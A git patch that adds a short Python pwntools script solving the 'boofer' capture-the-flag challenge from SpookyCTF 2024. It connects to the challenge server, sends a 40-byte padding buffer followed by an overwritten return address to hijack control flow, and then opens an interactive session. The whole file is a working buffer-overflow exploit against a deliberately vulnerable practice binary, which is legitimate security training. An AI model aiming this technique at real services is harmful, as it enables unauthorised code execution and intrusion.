From 33d52a6d0fe842594884720d1cb56266028e05cf Mon Sep 17 00:00:00 2001 From: jc Date: Mon, 28 Oct 2024 10:03:40 +0300 Subject: [PATCH] solve script --- spookyctf2024/boofer/a.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 spookyctf2024/boofer/a.py diff --git a/spookyctf2024/boofer/a.py b/spookyctf2024/boofer/a.py new file mode 100644 index 0000000..e70af69 --- /dev/null +++ b/spookyctf2024/boofer/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./B00fer", checksec=False) +# r = process() +r = remote("b00fer.niccgetsspooky.xyz", 9001) + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*40 +buf += p64(0x401227) +s(buf) + +r.interactive() \ No newline at end of file